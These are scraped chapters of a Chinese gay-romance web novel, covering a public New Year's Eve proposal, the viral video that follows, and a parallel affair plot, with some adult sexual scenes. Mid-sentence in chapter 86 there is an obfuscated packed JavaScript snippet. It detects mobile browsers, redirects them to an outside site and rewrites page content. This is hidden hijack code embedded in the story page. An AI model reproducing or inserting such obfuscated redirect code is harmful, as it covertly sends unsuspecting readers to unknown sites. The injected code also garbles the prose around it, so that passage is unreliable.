初春的微风从窗畔拂过,带来清新的田园气息,卢可深吸一口,神清气爽,连疲累的肉|体都舒服了几分。 系着白围裙的厨娘推着小推车,送来品类丰富的早餐,卢可从中选出一小碗鲍汁捞饭,用镶金边的汤勺舀上一小口送入嘴里,“唔,就是这个味道,这个一定是中东鲍的鲍汁,好香好香……” 卢可尝到美食,不适的感觉去了五六分,虽然辛苦,好在回报也同样丰厚。Tina在一旁看他摇头晃脑的样子,嘴角绽开一抹笑意,“看样子,卢公子是爱美食懂生活的人。” “不要叫我卢公子,怪别扭的。”卢可又舀了一点海鲜粥,“叫我卢可或者Lucas吧都可以。嗯,那个……”他后知后觉的询问起金主的去向,“李……李总去哪里了?” “老板白天一般在柏林分公司,没有特殊情况会回来吃晚饭。”Tina等他吃饱,又贴心的扶他在床上躺下,脱衣服的时候,卢可一阵夸张的嚎叫,“哎,姐姐你要早五分钟来就好了,我刚穿上……” 在女士面前脱衣服,他倒不觉得尴尬,毕竟在会所的时候,大家在更衣室换装也没什么避讳。 Tina看着他身上那些青红紫绿的印记没有任何诧异的表情,熟练的沾了按摩油帮他放松四肢,力道不轻不重,恰到好处。 这让卢可泛起一点好奇,“之前,嗯,我是说那位,”卢可趴在枕头上清了清嗓子,“你也经常帮他按摩吗?也是……这样?”卢可用手掌示意了一下身上的痕迹。 Tina点头又摇头,“要看他心情。” 卢可以为他是说李景麟的心情,认同的点头,“李总一看就是个心情难以捉摸的人。” “要看闰成的心情。”Tina纠正他,“他如果心情好,会哄,就不会这样。如果心情不好,吵闹起来,就难免会这样。”这跟要看李景麟的心情没有太大区别,但言下之意,曾闰成可以影响李景麟的心情。 卢可有点难以理解,他没觉得曾闰成有这么大魅力,“我觉得他实在很……”他及时刹住了话语。 Tina却意会了他的意思,“你这个想法最好不要在老板面前表现出来,”她稍稍加重了一点力道,卢可“哎哎”的喊个不停。 “你见过他了?”片刻之后,Tina停下手,“他还好吗?” 卢可点点头,“挺好的,他和傅总很恩爱,傅总把他看得跟宝贝一样,含在嘴里怕化了捧在手里怕摔了……”他这话一点也没夸张,跟了半个多月,他对傅廷恩和曾闰成之间的腻歪看得清清楚楚。这其实也是他那一点不忿的由来。他那时意识不到这点不忿的缘由其实是嫉妒。 Tina点点头,“那就好。”她收起那些瓶瓶罐罐,又重复了一遍,“那就好。” 她还记得曾闰成那时只有六七岁孩子的意识,她喂他吃饭,他拈起一只虾尾塞到她嘴里,“你也吃。” 他在花园玩得满身尘土,她帮他把毛衣脱下来,他蜷着手指,黑白分明的眼睛里满是歉意,“Tina,对不起。” 她看着长相酷似曾闰成,却一脸天真的卢可,忍不住低声道,“卢可,感情里总有先来后到,有时候迟一步,再好百倍也枉然。”迟一步,就算是李景麟,也只能黯然退场。 “不忘初心,方得始终。守心最要紧。”Tina语重心长,只可惜二十一岁的卢可听不懂。 他那时太年轻,总觉得没有跨不过的山海,没有征服不了的人心。很多年以后才明白,如果他已轰轰烈烈的爱过一个人,你跋山涉水的追逐,在他眼里只是云淡风轻的又一程。 只能怨时光太多情,他正好寂寞,你正好天真。 85.第 85 章 金城的春节远比别处热闹,虽然华国整体过年的氛围一年比一年淡,但对于傅家这种大家族又不同,老爷子虽然身体不太硬朗,这几年还患上了阿尔茨海默症,但颤颤巍巍的也一年又一年的熬了下来。 金城的傅氏老宅严格按照华国传统,从进入腊八开始就着手过年的各项准备工作。扫宅、除尘、祭灶、杀年猪、贴春联窗花……桩桩件件都按照习俗来。 傅廷恩下了车,手上拿了个大盒子,急匆匆的上了楼,到公寓门口腾出一只手来刷指纹,门一打开,曾闰成已经走到门边,帮他接过手里的东西,“傅总下班了?这是什么?” 傅廷恩把围巾取下挂墙上,又把大衣脱下来,搂过曾闰成深深的接了个吻,才答道,“这是你的任务。” “我的任务?”曾闰成打开盒子,是厚厚一叠裁剪好的红纸,上面洒着金粉。 “这是老宅今年要贴的春联,大伯说今年轮到我们家负责。”宅子不小,门楣很多,傅宅的传统是春联必须手写,一房负责一年轮着来。 “我来写?这不合适吧?”曾闰成有些惊讶的睁大眼睛。 傅廷恩一看他清澈的眉眼,就忍不住凑过去亲一亲,“怎么不合适?你不是我媳妇?不是我们家人?” 虽然歪缠厮混,日渐情浓,再亲密的事情都做过,但曾闰成就是有点受不了傅廷恩讲这种骚话,他脸上泛起一层红晕,“什么媳妇什么你家人,一天到晚没个正经。”他转身去厨房端菜,“先吃饭吧,上了一天班不饿吗?” 傅廷恩长腿一伸,轻易就拦住他去路,把他拖回怀里牢牢禁锢住,“吃什么饭呀,不解决这个任务我哪里有心思吃饭……” 他从背后抱着他,不断的轻噬着他的耳垂啃咬着他的颈侧,又冲着他的耳廓吹气,弄得曾闰成又痒又麻,挣又挣不开,两个人打闹成一团,渐渐就开始火花四溅…… 傅廷恩进门脱了大衣却没脱西服,虽然曾闰成没说过,但是他就是知道他很爱看他西装革履的样子。187的身高包裹在裁剪利落、线条流畅的羊毛西服里,越发显得他宽肩窄腰翘臀长腿。 西服就是男人最好的春|药。 他把曾闰成压在沙发靠背上,两只胳膊撑在他的身侧。曾闰成抬起头看着他,眼里闪过的那一丝惊艳被傅廷恩捕捉到,他得意的勾起唇角,低头轻啄他的唇畔,“给我解开呀,嗯?曾老师……” 曾闰成偏头躲避他的目光,他就去亲他的面颊、啃他的耳垂、咬他白皙的脖颈,间隙里骚话不断……最终曾闰成还是伸手解开他的西服纽扣、衬衫纽扣、皮带、拉链…… 曾闰成没想到被傅廷恩软磨硬泡写了春联还不够,还非得拉着他回傅宅吃年夜饭,吓得他连连摆手,“不行不行,那么多人我都不认识……” “怎么不认识了?我爸我妈,我哥嫂明天的飞机到,还有我六叔你也见过的,记得吗?在我哥的订婚典礼上。” 傅明琛曾闰成是有印象的,但是他仍然不肯去吃年夜饭。吃年夜饭是什么概念,傅家一大家子十来桌百来号人通通到位,他夹在这中间绝逼饭都吃不下。 “我在家等你吧,啊,你安心去吃年夜饭。”曾闰成知道他是放心不下他一个人在家,怕他会觉得孤单,“我得给导师打电话拜年,之前几年都错过了。” 他是说他在金师大的硕士导师,“还有克里斯蒂安和师姐、师弟们,我得给他们写邮件,很多事要做的。” 傅廷恩当初回海德堡大学处理曾闰成的“后事”,因为他自己内心并没有接受曾闰成的死讯,所以跟他的导师和师姐师弟们都说得很含糊,只是郑重的表明他短期内没有办法再继续跟他们一起研究学习,大家看傅廷恩一脸伤痛,都纷纷猜测曾闰成是出了车祸还是得了重病,再加上之前他因为妹妹生病的事情,先改了用工合同,后面又到美国动手术,博导和同事们对他多灾多难的人生也算是有了一定的了解,没有过分苛责。 曾闰成回来后,邮箱塞满了问候的邮件,他一一回复处理,慢慢又建立了链接,但是他回海德堡继续读博是不可能了。 一来他到底是头部受重创,自感思维没有之前敏捷。二来他和傅廷恩现在一天也分不开,傅廷恩不管他大伯的脸色,临近城市出差都不愿意,但凡应酬一律谢绝,每天下班准点回家。 傅家大伯还打电话给傅明章告状,傅明章反倒安慰他,“哎,廷恩能坚持每天去上班就算不错了……”傅大伯也是无可奈何。 这种情况下,曾闰成离开他去别的城市是绝无可能的事情,而傅廷恩既然入了职场,公司这摊子事情不是说丢就能丢的,求学求职的事情只能搁置,等年后到澳洲再做打算。 曾闰成一直不肯答应去傅宅吃年夜饭,结果傅太亲自打电话给他,邀请他务必出席,“闰成,你现在是我们家一份子,叔叔阿姨从没把你当外人。” 傅太是个慈爱的长辈,谆谆劝说的声音尤其柔和,“到时候我们一家人就半桌子了,再加上老六两口子,没有不认识的人,不会尴尬的,你放心好了。” 曾闰成在电话中答应下来,傅太还不放心,年前又特意送礼服到公寓,手上还拎着阿姨煲的汤水。 “我逛商场觉得这套你穿一定好看,我看了家里衣柜里的衣服,是你的尺码,你快试试合不合身。” 曾闰成面对傅太慈爱期待的目光实在无法拒绝,只好去卧室换了衣服,合身倒是挺合身的,就是稍微隆重了一点,丝绒翻领的小西装,两侧袖口还缀着深蓝色宝石,有点像小礼服。 傅太却是很满意,一个劲夸好看,还叮嘱他年夜饭当天一定要穿这套。又看着他喝了碗汤水,“闰成你太瘦了,要多吃点好好补补。”曾闰成拒绝不了这种来自长辈的关怀,喝得点滴不剩,傅太心满意足的离去。 傅廷恩下班回来看见那套礼服,也是十分赞赏的表情,“一点都不夸张,你到时候去了就知道了,我二伯三伯家那几位穿得才叫夸张哪。过年嘛总要隆重一点的,我到时候也会穿夸张一点。” 傅廷昀和薛婵娟夫妻俩直到除夕夜的前一天才飞回金城,他们并不是年年都回金城过年,但今年因为曾闰成的缘故,傅廷昀丢下两个紧急的项目都要赶回来,饶是这样,薛婵娟还当着大家的面埋怨他,“天天催他,就是没个准话,非得搞到这个时候。” 她一下飞机,就给了来接机的傅廷恩和曾闰成一个大大的拥抱,“Happy new year,my brother.” 她丢开傅廷恩,单独搂着曾闰成,眼睛凝视在他脸上,双手摩挲着他的肩膀,眼泪都要流出来,“闰成,你回来了,真好。” 她听傅廷昀说过曾闰成消失的原因,也亲眼见证了傅廷恩失去他之后的颓废和痛苦,如今再看到他们两个穿着情侣装挽着手的身影,实在忍不住感慨万分。 曾闰成的记忆点虽然跟她有不同,但他记得三年前初相识的时候,薛婵娟对他的友善,也看得出她如今的激动和欣喜,他甩开傅廷恩一刻也不肯放松的手,从口袋里掏出纸巾递给她,嘴角扬起喜悦的微笑,“婵娟,好久不见了。” “真的好久不见了……”薛婵娟忍不住泪盈于睫,傅廷昀忙上前扶住她,“你现在可不能太激动。”他眼神里流露出紧张。 傅廷恩立马会意,惊喜的问道,“嫂子,这是……有了?” 傅廷昀冲他做了个“噤声”的动作,“还没满三个月,不要到处说。” “嗯嗯嗯。”傅廷恩一叠声的答应着,薛婵娟难得害羞的低下头。 傅廷昀也伸出手跟曾闰成握了握,“闰成,欢迎你回来。”他看着男人依旧俊秀的面庞和温润的眉眼,再转头看看自家弟弟跟大半年前截然不同的精神面貌,尤其想到这一次傅廷恩千嘱咐万拜托的事宜,终于认命,缘分天注定,该这两个人在一块谁也没辙。 强势有如李家,也扭不住这情缘聚散。他已经在电话中听傅廷恩说了前因后果,当初江永安亲口传来的死讯,原来是李景麟的一场算计,这么荒唐的事情都能做出来,李景麟跟他弟的疯魔程度真的是不相上下。 他弟还能说一声年少轻狂,李景麟就简直是令人瞠目结舌了,毕竟他比傅廷昀都要大九岁,傅廷昀踏足商场的时候,对方已经是震慑一方的人物。会做出这种事,实在令人大跌眼镜,只能说“情”之一字,无法可依,无据可查。 傅廷恩等到除夕的下午,先用发胶将头发拾掇得格外有型,在出发前的最后一刻才从衣柜深处拎出防尘袋,将他的礼服拿出来, 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正餐开始之前,傅廷恩拉着曾闰成转了一圈,给他初略的介绍了一下。这种场合,曾闰成原本是很不习惯的,但是因为有傅廷恩陪着,再加上他这些哥嫂姊妹态度都很友善,既没有特别好奇,也没有背地里窃窃私语,就是很寻常的样子,这让曾闰成放松不少,偷偷凑他耳边说了一句,“你们家倒是挺开明的。” 对于后辈领个男朋友回家吃年夜饭,竟然没有表示出任何的诧异和不满。 他不知道傅廷恩利用上班时间一家一家打电话,又去上门拜访,能以利动的许以利,能以情动的晓以情,只以为是家风开明至此。傅廷恩亲热的搂一搂他的肩膀,“主要是你讨人喜欢,谁看到都不忍心不喜欢你。” 一直到这一刻,曾闰成都没有起疑。可等到用完晚餐,大家都没有散去,反而齐聚老宅的客厅,音乐声不知从哪个角落响起,迅速扩散到整个大厅,是他在坎贝拉时,傅廷恩点播给他的那首《Way Back Home》,人群围成一个圈,却独独把他推到了中间,灯光也跟着变暗,只留着中间那一束。他这才觉察到不对劲,怔愣不解的看向四周。 傅廷恩却已从光影的暗处走到光圈的中间,走到曾闰成的身前,单膝跪下,手掌心里躺着一个打开的礼盒,两枚对戒在黑丝绒底面上熠熠生辉,他带笑的眉眼凝视着他,声音清亮却略带一丝颤抖,“闰成,你愿意嫁给我吗?” 曾闰成刹那间脑海一片空白,他完全的呆住,从没有想过傅廷恩会当众,尤其是当着整个傅家老小的面向他求婚! 为什么有的人会越爱越深呢?因为他总能精准的戳中你在意的点呵!曾闰成现在孤身一人,可以说没有家人,得到家人的祝福和支持,对他来说其实是很重要的事情。 虽然他接受相爱的另一半是同性,但那段不愿意回想的时光,让他以为两个男人即使有情也只能隐于人后,但傅廷恩偏偏要高调示爱,我爱你,我不怕让全世界都知道! 周围一片拍掌和叫好声,“答应他!答应他!”傅廷恩的小表妹率先叫喊起来,童稚的声音引来一片笑闹,紧接着便是一片附和声,“答应他!答应他!”傅廷恩趁机提高了声音,再一次问道,“闰成,嫁给我好吗?” 曾闰成看着不远处傅明章和傅太的笑脸,傅廷昀和薛婵娟紧握的双手期待的眼神,连六叔傅明琛都在起哄,他终于回过神,红着脸点了点头,一把拉起傅廷恩。 傅廷恩却趁机将一只对戒戴到他左手的中指上,又迅速的给自己也戴了一只,这才一把搂住曾闰成肩膀,在众人的笑闹声里吻了吻他的唇,“谢谢你,闰成。” “谢谢你,廷恩。”曾闰成有一种想要流泪的冲动,潋滟的桃花眼分外晶莹透亮,傅廷恩看着他的眼睛,只想赶快回家。 他牵着曾闰成的手,冲大厅的众人喊了一句,“Thank you everyone.Bye-bye.”便步伐匆匆的离开了傅宅,回到了公寓。 衣物从公寓门口开始散落,一直铺洒到床边。爱的形式多种多样,凝视、拥抱、亲吻,可没有哪一种可以代替你中有我我中有你的赤忱。 86.第 86 章 整个傅家都没有料到,傅廷恩求婚的这件事情,竟然在互联网上引起了轩然大波。 起因是他的小表妹,经常在某音分享日常生活,年轻漂亮又有钱又会玩梗,轻松就积累了几百万的粉丝。她将拍摄的视频发布到了自己的账号,配文:恭喜我七表哥求婚成功,祝愿他们幸福美满! 不过一个晚上,视频的点击量就超过千万,还有几个大主播转发了这个视频,其中就有肖震的前女友,在迪拜跟他们有过短暂交集的娜娜,她也表达了祝福:“三年前在迪拜,他们就很恩爱,如今要携手踏入婚姻的殿堂了,我又相信爱情了!” 互联网传播的速度简直比风还快,评论区一水的祝福,但也无意之中扒出了两人的底细: “啊这两位我认识!是我的同班同学和我曾经的数学老师啊!” “真的吗真的吗?师生恋吗?快详细说说!” “天啊!我们恒雅私高有史以来最帅的校草啊!竟然……竟然……曾老师你牛啊!” “不可能吧?当时在学校的时候完全没有看出来啊!那时好多女生追傅廷恩啊,不过……好像是有传言说他喜欢男生……” “不是传言好嘛!是他自己在校花的生日party上当众承认的!” “这哥们好猛啊!家里能接受嘛?他还是个富二代啊,不怕被断零花钱吗?!” “怎么不能!你没看见是年夜饭局上求的婚嘛!而且这位早过了要伸手要零花钱的年纪了!” “我作证!我们傅总今年光业务提成就接近八位数,傅氏少了谁也不能少了他!没点实力怎么敢公开出柜、当众求婚?只是我们公司那群小妹子估计要哭晕在厕所了!” “这俩的颜值真的逆天!看不出什么年龄差啊,到底谁1谁0啊?” “楼上那位真的蠢!求婚的一般是老公还是老婆?” “哎……傅廷恩啊……我的白月光啊,你怎么就弯了呢?呜呜呜……” 第二天一早,江永安的越洋电话就打了过来,连响三遍,傅廷恩才从被窝里伸出一只赤裸的胳膊,睡眼惺忪的将手机贴耳边,“喂……” “还在睡?!我都起床了!你们竟然还在睡!天!昨晚又折腾到什么时候?傅廷恩你真的是……” 曾闰成也被吵醒了,从傅廷恩的怀里滚出去,面向另一边,裹紧了被子。 傅廷恩忙起身往浴室走,压低了声音,“啧,今天大年初一好不好?你这么早打电话来干嘛?拜年啊?” 江永安之前为了帮傅廷恩的忙飞回了一次金城,一直等接到曾闰成才返回悉尼,所以今年没有再回金城过年,他妈妈和姐姐飞到了澳洲陪他,顺便度假。 “还拜年!你知不知道你跟曾老师一夜成名了?赶紧通知你们傅氏的公关团队加班,让你表妹赶紧把视频删了,我在外网都刷到了!” 江永安十分气愤,“MD!求婚竟然都不告诉我!也不邀请我在场见证还是不是兄弟了?!” “我不想你老为我的事来回折腾,”傅廷恩把通话缩一边,打开他表妹的视频账号瞄了一眼,“到时候婚礼请你坐主桌。” “行行行,你赶紧忙活去吧,估计你大伯得把你砍咯。” “他砍我干嘛?把我踢澳洲去就行了,我爸最近正为这事跟他掰扯呢。而且大年初一谁来加班啊?他们愿意八卦就八卦去吧,”傅廷恩打了个哈欠,“求婚怎么了?我还要办婚礼呢。” “我操,你真他妈勇……”江永安被他无所畏惧的态度震了一下,“啧啧”慨叹着转了话题,“你先告诉我,你怎么做到这事的?” 傅家虽然没有江家这么盘根错节的复杂,但是人丁也很兴旺,要除夕夜齐聚一团见证傅廷恩的求婚现场并且送上祝福,这并不是一件容易的事情。 江永安看到视频的第一眼都要炸了,操!这哥们真的次次都出乎他的意料! 傅廷恩得意的卖关子,“精诚所至,金石……” “滚!”江永安在电话那头咆哮,片刻之后又放软了语调,“哥们,传授一下经验呗,你不知道我妈今年有多夸张,一来就安排三个饭局,哎……” 江太和江永安两个姐姐这次飞去澳洲,度假是其次,监督江永安相亲才是真。随着年龄的增长,这样的逼婚戏码几乎年年都要上演一两次。 傅廷恩对他深表同情,“永安,我这经验你用不上。你独生子确实压力比我大很多,我如果不是有个哥,而且嫂子还怀孕了,估计我爸妈也不能这么快接受……” “唉,”江永安唉声叹气,“你小子就是好命!那你几个伯伯哥哥们……” “他们倒是好说,知道我要求婚的对象是同性我那几个堂哥高兴得很。” 资源分配的竞争对手是gay,而且另一半还没有什么背景,他的堂兄弟们当然乐见其成。 “尤其现在对外虽然是大伯作主,但我六叔手上股份占比不小,在公司很有话语权。” 外嫁的几个姑姑手上的股份几乎都汇聚到了傅明琛手里,保持中立而且后辈也相当出色的傅家四房是双方都要争取的对象。 只能说天时地利人和才促成了傅廷恩的这一壮举。 虽然傅廷恩说得轻描淡写,但是江永安也知道他背后必定付出不少时间精力,羡慕完傅廷恩好命,又开始羡慕曾闰成好命。“哎,你这经验我确实借鉴不了,不过现在也没有出现这么个要让我耗费脑细胞的人……” “你跟Johnson又掰了?” “那倒没有,但是我妈我姐过来,最近都不便约会,会不会掰我也不清楚。”江永安一副无所谓的口吻,“我不着急,再玩几年吧,就是我妈我姐这里不好交差,实在不行,我考虑**……” 傅廷恩劝他想清楚,“不到万不得已不要走这一步,感情是两个人的事情,把另一个人扯进来终归不好。” “嗯,我会再想想的……”江永安垂头丧气。 “我们过完年就会飞澳洲,在悉尼注册,然后五月份闰成生日的时候办婚礼,先跟你预约档期啊,请你当摄影师。” “好吧,老子实名对你表示羡慕嫉妒恨!”江永安愤愤不平的挂了电话,傅廷恩坐在马桶上再次打开了他表妹的视频账号。 “靠!”刚只瞄了一眼,现在看看点击量也小小的吓了一跳,但是他转而又欣赏起视频内容来,嗯,他表妹不愧是百万级up主,光影运镜都调置得不错,把他家闰成拍得格外帅气,像素也很清晰,连彼此湿润的眼角都能感受到。 再看看评论区,嗯,大家眼光都很好嘛,祝福我就收下了。他喜滋滋关闭了视频,又将手机调成无声,回到卧室先将曾闰成的手机也调了静音,这才放心的重新爬上床,将温软的身体搂进怀里,无比满足的轻嗅了一口馨香的气息。 曾闰成已经被他这一连串动作吵醒了,转个身,窝进他怀里,含糊不清的嘟囔,“新年快乐廷恩。” “新年快乐。”傅廷恩吻吻他光洁的前额,甜蜜的将他拥紧。他刚扫了几眼视频底下的评论区,恒雅私高之前同学的留言也被他看到了,思绪不可避免被带回到从前。 他还记得第一次看见曾闰成的情景,穿着白衬衫黑西裤的男人自信爽朗的站在讲台前,比窗外的阳光还要耀眼。从来没有想过,有一天他可以这样亲密的搂着他、亲吻他,甚至做更亲密的事情……巨大的幸福感充盈在他的心头。 曾闰成原本趴在他的胸口,突然感觉到有什么戳着他的小腹,立马掀被子起床,结果“啊”一声倒回床上,不坐起来还不觉得,起身都困难才知道昨晚有多疯狂。 傅廷恩送完“新年礼物”,又向他索要“新年礼物”,从卧室到客厅的沙发,从阳台到浴室,各种姿势、各个角度…… 当然也不能全怪他,曾闰成在晚餐的饭桌上喝了一小杯红酒,也是比较放纵而沉醉…… 傅廷恩扑过来给他按摩,被他一脚踹开了,“滚滚滚……”他斜睨了他一眼,“一看就没安好心……” 傅廷恩一看他的眼神就想凑过去亲他,他的未婚夫真的有一双勾人的桃花眼,这样含嗔带怨的睨人一眼,就能让人发ying。 但是他也知道他的承受极限,于是举三指对天发誓,“我保证只给你按摩,绝不做别的。” 他从边柜里拿出活络油,“快让我帮你揉揉,妈还让我们回去吃晚饭呢,不揉开了,回头你行动不便,傅廷昀那家伙肯定要笑话我们。” 曾闰成只能选择相信他一回,事实证明,傅廷恩值得信任,他很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977478|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认真的给他按摩了大半个小时,直到酸胀的感觉逐渐淡去,清凉火辣的滋味从四肢升起。 “好了。”曾闰成推开他。 “饿了吧?我去做点东西先垫垫肚子,晚上回家吃大餐。”他先去浴室洗了手,转身走进厨房开始煎牛排。 他虽然有欲望,但更心疼他。曾闰成看他系着围裙,在厨房忙碌的身影,甜蜜的感觉油然而生。 他也没有想过那个初见时嘴角流油的大男孩,有一天会成为他携手一生的爱侣。他想到昨晚光影里他诚挚激动的眼神、萦绕在他耳朵边的誓言,还有彼此情动时默契的交融、勾缠的唇舌,忍不住起身走到他的身后,抱住他的腰,温柔的伏在他背上,“廷恩,我爱你。” 傅廷恩转身,找到了他的唇,两人忘情的拥吻,直到焦香味传来,“啊,糟糕,牛排烧焦了……” “那我们就吃点别的……” ———————————————————————— 不止身在澳洲的江永安刷到了那个求婚的视频,在德国奔龙堡的卢可也刷到了。 他看着镜头里幸福拥吻的那一对,皱眉叹了口气,起身到厨房亲手切了一盘水果,端到李景麟书房。 结果刚推开一线门缝,就有什么丢了过来砸到门上,“出去。” 李景麟的声音冰冷而低沉,卢可在关门的间隙里听到了电脑里传来的掌声和围观众人的笑语。李景麟显然也看到了那个视频。 卢可只能端着水果退回楼下餐桌旁,他怔愣的在桌前坐下,无意识的叉了一块蜜瓜送到嘴里,却尝不出甜味。 Tina走过来拍了拍他,“上午的课上完了?” “嗯,老师让我下个星期去慕尼黑试镜。”离梦想又近一步,卢可的脸上却没有什么喜色。 Tina只能低声道,“老板的脾气一向不好,你应该也知道了。” 他太知道了!李景麟是个阴晴不定的人,那一晚之后,他有几天都没有出现在古堡,卢可第二次见到他是在影音室。 他高大的身影靠坐在真皮沙发里,闲适的翘着二郎腿,手里擎着一只晶莹的酒杯,蓝光闪烁在他的眉梢眼角,整面墙的屏幕里正播放着歌曲,而且是卢可很拿手的粤语歌,李景麟是港城人。 卢可很有自信的走过去,“我能为您唱首歌吗?” 虽然两人有过迷情狂乱的一夜,卢可也不觉得他们会比陌生人更熟悉,毕竟在欲望迸发的顶点,他叫的是另一个名字。 卢可的态度很恭谨,李景麟没有出声,只点了点头。 卢可于是唱了一首《让一切随风》: 风中风中,心里冷风,吹失了梦, 心中心中,一切似空,天黑天光都似梦。 迷迷惘惘,聚满心中,追踪一片冷的风…… 卢可在天宫会所有“情歌小王子”的称号,他音色低沉又很有辨识度,唱这种经典老歌特别有韵味。 一曲唱完,李景麟鼓了鼓掌,卢可自顾倒了杯酒,走过去跟他碰杯,顺势在他身边坐下。 “粤语很标准。”李景麟啜饮一口琥珀色的液体,“你叫什么?” “卢可,Lucas,”李景麟远比他高大,卢可稍稍仰起头,桃花眼里波光潋滟,“或者你想叫我闰成,Jasper,都可以……” “哼……”李景麟发出一声轻笑,一只手掐起他的下巴,仔细的打量他的眉眼,“唔,是很像……” 卢可很清楚的看到他的眼神由不屑到专注再到迷惘,最终他偏头吻了下来。 这一次,他远比那一晚温柔,把卢可吻得眼迷神醉、双腿发软。 一吻毕,他退开了身体靠回沙发,却解开了皮带,“自己坐上来。” 卢可没有挑战过这种高难度,但男人脸上的神情、散开的两条长腿,以及……,都让他生出了攀爬的勇气,他毫无犹豫的褪下了衣物。 这一晚,他们喝酒、做|爱、唱歌……卢可之前做足了功课,刷过许多跟李景麟有关的视频,但从没有听他唱过歌,当霸总擎着话筒,在半醉里开口唱那首《天地不容》…… 卢可忍不住在心里“靠”了一声,这都不会心动?这都舍得走?他头一次对他的“前辈”产生了佩服之情。 87.第 87 章 傅廷恩和曾闰成没等过完元宵节就离开了金城,和傅廷昀夫妇一起飞往了悉尼。 那个视频在网络爆火以后,两人的手机都差点被打烂,不止亲戚朋友、恒雅的师生,甚至连曾闰成消失了几百年的前任女友都打来了电话。 当然,曾闰成没有接到,傅廷恩把他手机没收了。 他不愿意他被这些来自四面八方的声音影响情绪,又担心他因此反悔,“不要管她们,结婚是我们两个的事情,等我们落地悉尼就去注册。” 傅廷恩有澳洲的PR身份,可以通过婚姻的方式帮曾闰成取得永居,他很会哄劝,“我们先解决户籍的问题,才好去求学或者求职嘛。” 他很清楚曾闰成是不愿意天天呆在家里的,也不愿意进傅家的公司上班,傅廷恩当然支持他做自己喜欢做的事情。 傅氏家族,尤其是傅家大伯,原本很担心这个热度持续了足足一个星期的求婚视频会对集团旗下的股票造成影响,结果开年后股价反而有小幅度提升。 公关部门分析网络评价,大部分网民都对这事持赞成或中立的态度,甚至不少认为,窥一斑见全豹,傅氏是家开明民主的公司,而且视频流露出来的和谐氛围代表傅氏团结一致,可以在一定程度上排除管理隐患。 傅大伯于是降下指示:“届时婚礼也要拍个视频。” 傅廷恩正愁曾闰成不肯配合他的婚礼策划方案,得了这个指示犹如捧了一把尚方宝剑,立马夸张的跟曾闰成一通表述,总之就是婚礼的规模和之前的准备工作让他千万配合,不然就会对公司造成一些负面影响。 曾闰成是很好哄的,于是一下飞机,两个人公寓都没回,先去市政厅领了结婚意向书,又找公司的律师签字,傅廷昀看着傅廷恩拉着曾闰成的手,急急忙忙往外奔走的身影,又好气又好笑,“这真的是生怕老婆跑了……” 薛婵娟嗔怪的拍他一下,“他俩多不容易,你可不能廷恩一回来就把公司的事往他身上堆,实在忙不过来宁可多请两个Manager,先让他们好好度个假。” “呃,好吧。”傅廷昀不情不愿的答应下来,他原本就是计划让傅廷恩赶紧上班,他一个人管几个分公司实在忙得够呛,虽然有管理团队,但澳洲的人工是出了名的懒散,只要下班手机一关万事不管,哪里有自己家里人贴心卖力。 但是天大地大老婆的话最大,尤其是现在怀揣“龙种”,那是半点都违拗不得。 好在还有一个曾闰成,傅廷恩只休了一个星期,就被曾闰成赶去公司上班了。 他计划要在澳洲重新执教,教师资格证要重考,还有一堆七七八八的技能认定证书,傅廷恩天天搁家里歪缠他,实在是让他受不了。一脚把他踢去公司上班,让傅廷昀对这个“弟媳”多了几分满意。 于是小傅总开始代替大傅总接手园区的产业园和集团旗下分管光伏和储能的两家公司。 这原本就是他之前在澳洲时的业务线,重新捡起来毫无难度,但是饭局应酬因此也多了不少,虽然澳洲本土不流行酒局文化,但是打交道的不少是华人圈层,虽然风气没有国内浓厚,但多多少少还是免不了一些应酬。 曾闰成得以有时间呆在家里看书,他是很适合移民的那一类人,因为他不爱热闹,一本书一支笔就能消磨大半天时光。 傅廷恩偶尔不能回来吃晚饭,他一个人煎个牛排吃,也觉得很美味。他的物质欲望非常低,但有人总会把最好的捧到他面前。 等到周末,傅廷恩约江永安和Johnson上家里吃饭。傅廷恩之前那套公寓因为发生过流血事件,被傅廷昀回国之前执意卖掉了,这次接回曾闰成,他干脆大手笔在悉尼市中心买了一套Penthhouse。 江永安一进门连喊两声“哇操”,挑高六米的大客厅,鱼骨拼接地板让空间更显开阔,大面积同色系墙面装饰板让“豪”味扑面而来。他跑到阳台,隔着整面墙的玻璃窗俯瞰悉尼海湾的美景,不远处悉尼歌剧院和海港大桥尽收眼底。 “可以啊哥们!什么时候置办了这套豪宅?你们两个人住这么大面积多浪费呀,打扫卫生都不方便。” 悉尼市中心的顶楼复式大平层,两层近六百平,绝对是妥妥的豪宅了。 傅廷恩身上系着围裙,将他们拎过来的水果放到岛台上,先打开恒温酒柜,拿出一瓶奔富格兰许放到冰桶里。 “婚房嘛,一周一次家政上门打扫。我嫂子回金城之前帮我置办的,花光了我的积蓄,我妈还赞助了一点,我现在穷得叮当响,晚上你请我们看电影哈。” 悉尼的房价类比金城,这个地段的这种户型,动辄一个小目标,确实掏空了傅廷恩的小金库。 傅廷恩准备求婚之前,就先打电话给薛婵娟,请她帮忙买房子,他哥忙活公司里那一摊子事没空,薛婵娟是土生土长的悉尼人,更熟悉行情,品味又好,这套房子买得很中意。 开放式的厨房让傅廷恩可以一边煎牛排一边跟客人聊天,江永安相当理解傅廷恩不愿意委屈曾闰成的心态,“啧啧”的感叹着,“哎,金屋藏娇也不过如此了。呃,曾老师呢?” “洗澡哪,”傅廷恩抬头朝二楼喊了一声,“闰成,永安他们来咯。” “这个点洗澡?”江永安一脸坏笑的看向傅廷恩,傅廷恩回他一个“你懂的”眼神,江永安忍不住拍他屁股一下,“悠着点吧,你个骚|货。” 曾闰成果然是头发半干的从楼梯上走下来,穿一件亚麻衬衫,休闲长裤,唇红齿白清爽鲜嫩的样子让江永安都自叹弗如。 上天或许在其他方面给了他太多磨难,但在这副皮囊上是绝对的偏爱他。 傅廷恩都二十八了,曾闰成就有三十四了,他现在的样子跟江永安十年前在校园里看见过的身影没有太大的区别,多了几分闲适自然。 连Johnson都小声惊呼,“He’s 